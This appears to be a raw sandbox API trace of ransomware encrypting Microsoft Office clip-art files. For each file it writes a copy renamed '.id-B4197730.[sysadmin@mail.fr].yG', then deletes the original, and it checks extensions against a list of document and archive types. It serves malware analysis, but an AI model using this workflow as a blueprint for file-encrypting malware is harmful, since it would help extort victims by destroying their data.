	[0184.102] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.102] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0184.103] GetLastError () returned 0x0
	[0184.103] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x721c, lpOverlapped=0x0) returned 1
	[0184.104] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x7220, lpOverlapped=0x0) returned 1
	[0184.106] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.106] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.106] SetEndOfFile (hFile=0x35c) returned 1
	[0184.107] CloseHandle (hObject=0x35c) returned 1
	[0184.107] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.107] SetEndOfFile (hFile=0x30c) returned 1
	[0184.108] CloseHandle (hObject=0x30c) returned 1
	[0184.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0184.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.109] lstrlenW (lpString=".doc") returned 4
	[0184.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.109] lstrlenW (lpString=".docx") returned 5
	[0184.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.109] lstrlenW (lpString=".pdf") returned 4
	[0184.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.109] lstrlenW (lpString=".xls") returned 4
	[0184.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.110] lstrlenW (lpString=".xlsx") returned 5
	[0184.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.110] lstrlenW (lpString=".ppt") returned 4
	[0184.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.110] lstrlenW (lpString=".zip") returned 4
	[0184.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.110] lstrlenW (lpString=".rar") returned 4
	[0184.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString=".bz2") returned 4
	[0184.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString=".7z") returned 3
	[0184.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.110] lstrlenW (lpString=".dbf") returned 4
	[0184.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.110] lstrlenW (lpString=".1cd") returned 4
	[0184.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.110] lstrlenW (lpString=".jpg") returned 4
	[0184.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.111] lstrlenW (lpString=".doc") returned 4
	[0184.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString=".docx") returned 5
	[0184.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.111] lstrlenW (lpString=".pdf") returned 4
	[0184.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString=".xls") returned 4
	[0184.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.111] lstrlenW (lpString=".xlsx") returned 5
	[0184.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.111] lstrlenW (lpString=".ppt") returned 4
	[0184.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.111] lstrlenW (lpString=".zip") returned 4
	[0184.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.111] lstrlenW (lpString=".rar") returned 4
	[0184.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString=".bz2") returned 4
	[0184.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString=".7z") returned 3
	[0184.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.111] lstrlenW (lpString=".dbf") returned 4
	[0184.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.111] lstrlenW (lpString=".1cd") returned 4
	[0184.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0184.111] lstrlenW (lpString=".jpg") returned 4
	[0184.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.112] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.112] lstrlenW (lpString="FD00090_.WMF") returned 12
	[0184.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.112] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=14194) returned 1
	[0184.112] CloseHandle (hObject=0x30c) returned 1
	[0184.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220
	[0184.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.113] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.113] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0184.114] GetLastError () returned 0x0
	[0184.114] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x3772, lpOverlapped=0x0) returned 1
	[0184.115] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x3780, lpOverlapped=0x0) returned 1
	[0184.516] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.516] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.517] SetEndOfFile (hFile=0x35c) returned 1
	[0184.534] CloseHandle (hObject=0x35c) returned 1
	[0184.535] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.535] SetEndOfFile (hFile=0x30c) returned 1
	[0184.550] CloseHandle (hObject=0x30c) returned 1
	[0184.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0184.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.562] lstrlenW (lpString=".doc") returned 4
	[0184.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.562] lstrlenW (lpString=".docx") returned 5
	[0184.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.563] lstrlenW (lpString=".pdf") returned 4
	[0184.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.563] lstrlenW (lpString=".xls") returned 4
	[0184.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.563] lstrlenW (lpString=".xlsx") returned 5
	[0184.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.563] lstrlenW (lpString=".ppt") returned 4
	[0184.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.563] lstrlenW (lpString=".zip") returned 4
	[0184.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.563] lstrlenW (lpString=".rar") returned 4
	[0184.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.563] lstrlenW (lpString=".bz2") returned 4
	[0184.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.563] lstrlenW (lpString=".7z") returned 3
	[0184.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.564] lstrlenW (lpString=".dbf") returned 4
	[0184.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.564] lstrlenW (lpString=".1cd") returned 4
	[0184.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.564] lstrlenW (lpString=".jpg") returned 4
	[0184.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.564] lstrlenW (lpString=".doc") returned 4
	[0184.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.564] lstrlenW (lpString=".docx") returned 5
	[0184.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.564] lstrlenW (lpString=".pdf") returned 4
	[0184.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.565] lstrlenW (lpString=".xls") returned 4
	[0184.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.565] lstrlenW (lpString=".xlsx") returned 5
	[0184.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.565] lstrlenW (lpString=".ppt") returned 4
	[0184.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.565] lstrlenW (lpString=".zip") returned 4
	[0184.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.565] lstrlenW (lpString=".rar") returned 4
	[0184.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.566] lstrlenW (lpString=".bz2") returned 4
	[0184.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.566] lstrlenW (lpString=".7z") returned 3
	[0184.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.566] lstrlenW (lpString=".dbf") returned 4
	[0184.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.566] lstrlenW (lpString=".1cd") returned 4
	[0184.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0184.567] lstrlenW (lpString=".jpg") returned 4
	[0184.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.567] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.567] lstrlenW (lpString="FD00336_.WMF") returned 12
	[0184.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.568] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6068) returned 1
	[0184.568] CloseHandle (hObject=0x368) returned 1
	[0184.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220
	[0184.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.586] GetLastError () returned 0x0
	[0184.586] ReadFile (in: hFile=0x368, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x17b4, lpOverlapped=0x0) returned 1
	[0184.587] WriteFile (in: hFile=0x340, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0184.588] ReadFile (in: hFile=0x368, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.588] WriteFile (in: hFile=0x340, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.589] SetEndOfFile (hFile=0x340) returned 1
	[0184.589] CloseHandle (hObject=0x340) returned 1
	[0184.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.589] SetEndOfFile (hFile=0x368) returned 1
	[0184.590] CloseHandle (hObject=0x368) returned 1
	[0184.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0184.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.591] lstrlenW (lpString=".doc") returned 4
	[0184.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString=".docx") returned 5
	[0184.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.592] lstrlenW (lpString=".pdf") returned 4
	[0184.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".xls") returned 4
	[0184.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.592] lstrlenW (lpString=".xlsx") returned 5
	[0184.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.592] lstrlenW (lpString=".ppt") returned 4
	[0184.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.592] lstrlenW (lpString=".zip") returned 4
	[0184.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.592] lstrlenW (lpString=".rar") returned 4
	[0184.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".bz2") returned 4
	[0184.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".7z") returned 3
	[0184.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.592] lstrlenW (lpString=".dbf") returned 4
	[0184.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.592] lstrlenW (lpString=".1cd") returned 4
	[0184.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.592] lstrlenW (lpString=".jpg") returned 4
	[0184.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.593] lstrlenW (lpString=".doc") returned 4
	[0184.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString=".docx") returned 5
	[0184.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.593] lstrlenW (lpString=".pdf") returned 4
	[0184.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString=".xls") returned 4
	[0184.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.593] lstrlenW (lpString=".xlsx") returned 5
	[0184.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.593] lstrlenW (lpString=".ppt") returned 4
	[0184.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.593] lstrlenW (lpString=".zip") returned 4
	[0184.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.593] lstrlenW (lpString=".rar") returned 4
	[0184.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString=".bz2") returned 4
	[0184.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.594] lstrlenW (lpString=".7z") returned 3
	[0184.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.594] lstrlenW (lpString=".dbf") returned 4
	[0184.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.594] lstrlenW (lpString=".1cd") returned 4
	[0184.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0184.594] lstrlenW (lpString=".jpg") returned 4
	[0184.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.594] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.594] lstrlenW (lpString="FD00369_.WMF") returned 12
	[0184.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.595] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=8552) returned 1
	[0184.595] CloseHandle (hObject=0x340) returned 1
	[0184.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220
	[0184.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
